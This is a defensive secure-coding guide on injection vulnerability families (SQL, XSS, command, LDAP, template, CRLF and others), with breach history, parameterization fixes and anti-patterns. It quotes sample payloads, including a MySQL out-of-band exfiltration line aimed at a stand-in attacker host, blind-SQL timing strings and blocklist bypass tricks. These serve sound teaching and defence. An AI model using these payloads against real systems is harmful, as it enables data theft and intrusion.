Security Injection Families

# Injection Families

> Every injection vulnerability has the same root cause: untrusted data is interpreted as
> code because the boundary between data and instructions was not enforced -- fix the
> boundary, fix the bug

## When to Use

- Reviewing code that constructs queries, commands, or markup from user input
- Designing input handling for a new application or API endpoint
- Understanding the relationship between SQL injection, XSS, command injection, and other
  injection types
- Training developers on secure coding fundamentals
- Evaluating whether a framework's built-in protections are sufficient
- Auditing code for injection surfaces across the technology stack

## Threat Context

Injection has been in the OWASP Top 10 since its inception and remains OWASP A03:2021.
Despite being well-understood for 25+ years, injection remains prevalent because the root
cause -- mixing code and data -- recurs in every new technology layer:

- **Heartland Payment Systems (2008)**: SQL injection compromised 130 million credit card
  numbers. The largest payment card breach at the time.
- **Sony Pictures (2011)**: SQL injection in the Sony Pictures website exposed 1 million
  user accounts including plaintext passwords.
- **TalkTalk (2015)**: SQL injection by a teenager compromised 157,000 customer records
  including bank account details and sort codes. TalkTalk was fined 400,000 GBP by the ICO.
- **MOVEit Transfer (2023, CVE-2023-34362)**: SQL injection in Progress Software's MOVEit
  file transfer product was exploited by the Cl0p ransomware group. The breach affected
  2,500+ organizations and 65+ million individuals across government, healthcare, finance,
  and education sectors. The vulnerability was a straightforward SQL injection in a
  web-facing component -- a bug class first documented in 1998.
- **Equifax (2017)**: While technically an Apache Struts deserialization vulnerability (a
  close cousin of injection), the breach exposed 147 million Americans' personal data and
  demonstrated that input interpretation bugs in any technology layer can be catastrophic.

The pattern repeats because every new technology introduces a new interpreter: SQL databases,
NoSQL databases, shell environments, browsers (JavaScript/HTML), template engines, LDAP
directories, GraphQL resolvers, expression language engines, XML parsers. Each interpreter is
a potential injection target when it processes untrusted data as instructions.

## Instructions

1. **Understand the universal injection pattern.** Every injection vulnerability follows the
   same three-step structure regardless of the specific technology:
   - (a) The application constructs an instruction by concatenating trusted code with
     untrusted data. Example: `"SELECT * FROM users WHERE name = '" + userInput + "'"`.
   - (b) The instruction is sent to an interpreter (database engine, shell, browser, LDAP
     server, template engine) that cannot distinguish which parts are code and which are
     data.
   - (c) Attacker-supplied data contains interpreter syntax (e.g., `' OR 1=1 --`) that
     alters the intended behavior of the instruction, transforming a data lookup into a data
     dump.

   This pattern is identical across SQL injection, command injection, XSS, LDAP injection,
   template injection, and every other injection variant. The technology changes; the pattern
   does not.

2. **Apply the universal fix: structurally enforce the code/data boundary.** The correct
   defense uses mechanisms that separate data from instructions at the protocol level, making
   injection structurally impossible:
   - **SQL injection -- parameterized queries**: `SELECT * FROM users WHERE id = ?` with the
     value passed as a separate parameter. The database engine receives the query structure
     and the data value through separate channels. The parameter is never parsed as SQL
     syntax, regardless of its content. This is not escaping -- it is structural separation.
   - **XSS -- context-aware output encoding**: HTML-encode (`<`, `&`, `"`) when
     inserting data into HTML content. Attribute-encode when inserting into HTML attributes.
     JavaScript-encode when inserting into JavaScript string contexts. URL-encode when
     inserting into URL parameters. The browser renders the encoded data as text, never as
     markup or script. The encoding must match the output context -- HTML encoding inside a
     JavaScript string context does not prevent XSS.
   - **Command injection -- avoid shell execution entirely**: Use language APIs that do not
     invoke a shell: `child_process.execFile` (Node.js) with an argument array,
     `subprocess.run` (Python) with a list argument and `shell=False`, `ProcessBuilder`
     (Java). These pass arguments directly to the OS exec syscall, bypassing the shell
     interpreter. If shell invocation is truly unavoidable (it rarely is), use the
     language's shell escaping function and validate input against a strict allowlist.
   - **LDAP injection -- parameterized LDAP queries**: Use the LDAP library's filter
     construction API with proper value escaping. Escape special characters (`*`, `(`, `)`,
     `\`, NUL) in filter values per RFC 4515.
   - **Template injection (SSTI) -- sandboxed template engines**: Use logic-less templates
     (Mustache, Handlebars) that do not evaluate arbitrary expressions. If using a full
     template engine (Jinja2, Twig, Freemarker), enable sandbox mode to restrict access to
     dangerous classes and methods. Never pass user input as a template string -- pass it as
     a template variable.
   - **Header injection (CRLF) -- strict input validation**: Reject any input containing
     carriage return (`\r`) or line feed (`\n`) characters before inserting into HTTP
     headers, email headers, or log entries. These characters create new headers or log
     lines, enabling response splitting and log injection.

3. **Apply input validation as defense-in-depth, never as the primary fix.** Allowlist
   validation (e.g., "this field must be a positive integer," "this field must match
   `[a-zA-Z0-9_]{1,50}`") rejects many injection payloads and is valuable as a supporting
   defense. Blocklist validation ("reject input containing `DROP TABLE`, `UNION SELECT`,
   `<script>`") is always bypassable through encoding, case variation, comment insertion,
   Unicode normalization, and dozens of other techniques. Parameterization is the primary fix
   that eliminates the vulnerability. Validation is a secondary layer that reduces the attack
   surface. A system with both is stronger than either alone.

4. **Map injection surfaces in your technology stack.** For each technology layer in your
   application, answer three questions: What interpreter processes the data? Can user input
   reach that interpreter? Is the input parameterized or concatenated? Common injection
   surfaces:
   - **SQL databases**: Any raw query construction (even within an ORM's escape hatch)
   - **NoSQL databases**: MongoDB `$where` clauses, operator injection (`$gt`, `$ne`),
     aggregation pipelines with user input
   - **Operating system shells**: `exec()`, `system()`, backtick execution, `os.popen()`
   - **Browser rendering engine**: DOM manipulation with user content, `innerHTML`,
     `document.write()`, unescaped template bindings
   - **Email headers**: User-controlled values in From, To, Subject, or custom headers
   - **HTTP response headers**: User input reflected in `Set-Cookie`, `Location`, or custom
     headers
   - **Template engines**: User input passed as template source rather than template variable
   - **XML parsers**: External entity processing (XXE) enabling file read and SSRF
   - **LDAP directories**: User input in LDAP filter construction
   - **GraphQL resolvers**: User input in dynamically constructed resolver logic
   - **Regular expression engines**: User-controlled regex patterns enabling ReDoS
     (catastrophic backtracking)

5. **Use framework-provided protections and audit every bypass.** Modern frameworks
   parameterize by default: ORMs (ActiveRecord, SQLAlchemy, Prisma, Entity Framework)
   generate parameterized SQL for standard CRUD operations. React escapes JSX content by
   default, preventing XSS. Angular sanitizes template bindings. Django's template engine
   auto-escapes HTML. The vulnerability occurs when developers bypass these protections: raw
   SQL queries in the ORM (`Model.objects.raw()`, `sequelize.query()`),
   `dangerouslySetInnerHTML` in React, `[innerHTML]` binding in Angular, `|safe` filter in
   Django templates, template literal composition in template engines. Every bypass in the
   codebase is a potential injection point. Audit them all. Require code review approval for
   any new bypass with a documented security justification.

## Details

- **The complete injection family taxonomy**: SQL injection (interpreter: SQL engine), NoSQL
  injection (interpreter: document store query engine), Command injection / OS injection
  (interpreter: shell -- bash, cmd.exe, PowerShell), Cross-site scripting / XSS
  (interpreter: browser rendering engine), Server-side template injection / SSTI
  (interpreter: template engine -- Jinja2, Twig, Freemarker, Velocity), LDAP injection
  (interpreter: LDAP directory server), XPath injection (interpreter: XML query engine),
  Header injection / CRLF injection (interpreter: HTTP parser, email parser), Expression
  Language injection / EL injection (interpreter: Java EL engine, Spring SpEL), GraphQL
  injection (interpreter: GraphQL resolver), XML External Entity injection / XXE
  (interpreter: XML parser), ReDoS / Regular Expression Denial of Service (interpreter:
  regex engine). Every entry in this list shares the same root cause: untrusted data
  interpreted as instructions by a processing engine.

- **Second-order injection -- the delayed-execution variant**: Data is stored safely (via
  parameterized query) but later retrieved and used unsafely in a different context. Example:
  a user registers with username `<img src=x onerror=alert(1)>`. The registration query is
  parameterized, so no SQL injection occurs during storage. Later, an admin dashboard
  retrieves the username and inserts it into an HTML page without encoding. The stored XSS
  payload executes in the admin's browser. Another example: a value stored in the database
  is later concatenated into a shell command by a background job. Defense: every output
  context requires its own encoding or parameterization, regardless of how the data was
  stored. Trust no data, even from your own database.

- **Blind injection and out-of-band exfiltration**: When the application does not return the
  injected query's results directly (no error messages, no visible output differences),
  attackers use blind techniques: (a) Boolean-based blind: inject conditions that change the
  response (e.g., `' AND 1=1 --` vs `' AND 1=2 --`) and observe response differences
  (content length, HTTP status, timing). (b) Time-based blind: inject `SLEEP(5)` or
  `WAITFOR DELAY '0:0:5'` and measure response time to extract data one bit at a time.
  (c) Out-of-band: force the database to make DNS lookups or HTTP requests to an
  attacker-controlled server, carrying exfiltrated data in the request (e.g.,
  `LOAD_FILE(CONCAT('\\\\',version(),'.attacker.com\\a'))` in MySQL). Parameterization
  prevents all blind and out-of-band techniques because the payload is never interpreted as
  code.

- **The defense-in-depth stack for injection**: Layer 1 -- Parameterization: eliminates the
  vulnerability at the source by separating code from data. Layer 2 -- Input validation:
  rejects obviously malicious or unexpected input before it reaches the interpreter. Layer 3
  -- Web Application Firewall (WAF): catches common attack patterns at the network edge, but
  is always bypassable by a determined attacker and should never be the sole defense. Layer
  4 -- Least-privilege database accounts: limits the damage if injection occurs (a read-only
  account cannot `DROP TABLE`). Layer 5 -- Error handling: never expose SQL errors, stack
  traces, database versions, or internal table/column names to the user -- these accelerate
  exploitation. All five layers should be present; none is sufficient alone except
  parameterization, which is necessary and often sufficient for a specific injection point.

## Anti-Patterns

1. **String concatenation for query or command construction.**
   `query = "SELECT * FROM users WHERE name = '" + name + "'"` is the canonical injection
   vulnerability. `os.system("convert " + filename + " output.png")` is command injection.
   `html = "<div>" + userComment + "</div>"` is XSS. In every case, the fix is the same: use
   the parameterized/encoded equivalent provided by the language or framework. There is no
   legitimate reason to concatenate untrusted input into an interpreter instruction in
   modern code.

2. **Blocklist-based input validation as the sole defense.** Filtering `DROP TABLE`,
   `UNION SELECT`, `<script>`, `../` from input. Attackers bypass blocklists with: case
   variation (`dRoP tAbLe`), encoding (`%3Cscript%3E`, Unicode normalization), comment
   insertion (`DR/**/OP`), alternative syntax (`<img/src=x onerror=alert(1)>`), and
   technology-specific tricks that grow with every new interpreter version. Blocklists never
   cover all attack vectors. Parameterization does.

3. **"We use an ORM, so SQL injection is impossible."** ORMs generate parameterized queries
   for standard operations (find, create, update, delete). But every ORM provides an escape
   hatch for raw SQL: `ActiveRecord.connection.execute()`, `sequelize.query()`,
   `EntityManager.createNativeQuery()`, `db.raw()` in Knex. Developers under deadline
   pressure use raw queries with string concatenation. A single raw query bypass is enough
   for a complete database compromise. Audit every raw query invocation in the codebase and
   require security review for new ones.

4. **Trusting data from "internal" sources.** Data from internal APIs, message queues,
   databases, or partner systems still requires parameterization when used in an interpreter
   context. If Service A stores user input in a database and Service B reads it and
   concatenates it into a shell command, Service B has a command injection vulnerability
   regardless of Service A's input validation. The trust boundary is at the interpreter, not
   at the data source. Every interpreter invocation with non-constant data requires
   parameterization.

5. **Client-side validation as a security control.** JavaScript validation in the browser is
   a user experience feature, not a security control. Attackers bypass client-side validation
   trivially: curl, Postman, browser developer tools, proxy tools (Burp Suite), or simply
   disabling JavaScript. All input validation must be enforced server-side. Client-side
   validation improves UX by providing immediate feedback; server-side validation enforces
   security.

6. **Assuming encoding is universal across contexts.** HTML-encoding user input and inserting
   it into a JavaScript string context does not prevent XSS. URL-encoding and inserting into
   an HTML attribute does not prevent XSS. Each output context has its own encoding
   requirements: HTML content, HTML attributes, JavaScript strings, CSS values, URL
   parameters, and JSON responses each require different encoding functions. Using the wrong
   encoding for the context provides a false sense of security while leaving the injection
   viable.

7. **Relying on a WAF to prevent injection.** WAFs (ModSecurity, AWS WAF, Cloudflare)
   provide useful defense-in-depth by blocking known attack patterns at the network edge. But
   WAFs operate on pattern matching of HTTP requests -- they cannot understand application
   semantics. Sophisticated attackers bypass WAFs through encoding, chunked requests,
   parameter pollution, and application-specific payload construction. A WAF that blocks
   `UNION SELECT` does not block the same payload split across two HTTP parameters that the
   application concatenates server-side. Fix the vulnerability in the code; use the WAF as
   an additional layer, not a substitute.